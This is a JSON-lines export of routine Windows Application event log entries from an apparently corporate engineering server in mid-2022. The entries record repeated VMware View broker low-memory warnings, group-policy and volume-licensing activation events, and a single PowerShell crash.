{"@timestamp":1656309752118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jun 27 08:02:32 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168979}}
{"@timestamp":1656328402315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168980}}
{"@timestamp":1656352956096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jun 27 20:02:36 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168981}}
{"@timestamp":1656391115035,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168982}}
{"@timestamp":1656396160122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jun 28 08:02:40 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168983}}
{"@timestamp":1656439364149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jun 28 20:02:44 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168984}}
{"@timestamp":1656443081264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4111,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["‎Wednesday, ‎June ‎8, ‎2022 9:07:02 AM"]}}},"module":"Application","provider":"Microsoft-Windows-CAPI2","sequence":168985}}
{"@timestamp":1656452387924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168986}}
{"@timestamp":1656482568156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jun 29 08:02:48 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168987}}
{"@timestamp":1656510479746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168988}}
{"@timestamp":1656516637329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/12/19:15:30:37;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168989}}
{"@timestamp":1656516638612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"000006001DAD20A5658EAC5AF9D840C8CB0118655BDEA2301172129AF81ABD9058A9FE8E5484F23C3B7013037BDCCA218FBE7C9323F0EFF8D3A3F08D202979CE6EE1527CB9925DFFFB006A2E31D3B38A5184DE1C9338EB3FDF7D856ADA8CFAC780F1B506ADE5213F2D2DEA40E58272F310D758BB2CE74D71AA03BE0FD15C9686F18F6530B33B4AC9F3D213D42D12F48EA3E934BAA1D5228F2F2C9DC77548BF9ED35861F1C3E44340E69F73012CB60D3FA0CB2D3231708FCEA8821BA4D58F6107A1EC4823094177F86DECD01662B17BAB5FD50EFED7CC8F515540D228E7596FD924671E5285469EDCEA163E3964F49EC600DB0FFE0A2CEE0AE3036C73DF67F6ACC9058D33","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/06/29 15:30, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168990}}
{"@timestamp":1656516638737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"000006002D347D3A0B436DEB153BD4A9774C43AE2BB2739179B1D5D8CB545C386F3820D2ACE247A5BF766D91894544C0E859FA1BC20D3D8EBDBD33EC07AC48CDD49D12AC87F2FD92502F51046603CBCFBD25EEB009F123484C46C16FBB669439B15E92C5E15D05119CB1D6F7A0B684E835691409BF4E8ED9F0B580FFD93B081F717845BDBA446297C506E2CFB0F7A2181934AC3C8859FA0A886310C2EDF257EC40826F065F41F1D5DAF78E3077C4CC958C8292761F3D8D7579239AF7F5E756A373A8AA2D7A917BB0809C150D648BB8E8D05E008F2BB96A9D3C3F0A3FD7DC07A7BE37286218573731FAA8AC376EE9E5732BDCF8262B51D345B55E5FF0D1838E703013DE42","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/06/29 15:30"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168991}}
{"@timestamp":1656516638884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168992}}
{"@timestamp":1656516638886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168993}}
{"@timestamp":1656516638888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168994}}
{"@timestamp":1656516638943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168995}}
{"@timestamp":1656516639047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168996}}
{"@timestamp":1656516639069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168997}}
{"@timestamp":1656516639278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/12/26:15:30:39;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168998}}
{"@timestamp":1656516639302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168999}}
{"@timestamp":1656516669335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-07-06T15:30:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169000}}
{"@timestamp":1656525772285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jun 29 20:02:52 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169001}}
{"@timestamp":1656568976109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jun 30 08:02:56 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169002}}
{"@timestamp":1656573912637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169003}}
{"@timestamp":1656612180482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jun 30 20:03:00 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169004}}
{"@timestamp":1656614470627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["powershell.exe","10.0.14393.206","57daccf5","unknown","0.0.0.0","00000000","c0000096","0000024a6d090002","236c","01d88cb0ebae5fbf","C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","unknown","b255f11c-3c94-423c-8b6d-7402179c3b01","",""]}}},"module":"Application","provider":"Application Error","sequence":169005}}
{"@timestamp":1656614470630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1005,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","Windows PowerShell","00000000","0"]}}},"module":"Application","provider":"Application Error","sequence":169006}}
{"@timestamp":1656636445507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169007}}
{"@timestamp":1656655384544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jul 01 08:03:04 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169008}}
{"@timestamp":1656698588649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jul 01 20:03:08 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169009}}
{"@timestamp":1656699519411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169010}}
{"@timestamp":1656741792522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jul 02 08:03:12 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169011}}
{"@timestamp":1656761392217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169012}}
{"@timestamp":1656784996652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jul 02 20:03:16 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169013}}
{"@timestamp":1656822304975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169014}}
{"@timestamp":1656828200737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jul 03 08:03:20 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169015}}
{"@timestamp":1656871404764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jul 03 20:03:24 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169016}}
{"@timestamp":1656884657864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169017}}
{"@timestamp":1656914608797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jul 04 08:03:28 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169018}}
{"@timestamp":1656943109497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169019}}
{"@timestamp":1656957812971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jul 04 20:03:32 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169020}}
{"@timestamp":1657001017361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jul 05 08:03:37 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169021}}
{"@timestamp":1657005522527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169022}}
{"@timestamp":1657044221337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jul 05 20:03:41 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169023}}
{"@timestamp":1657068475154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169024}}
{"@timestamp":1657087425391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jul 06 08:03:45 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169025}}
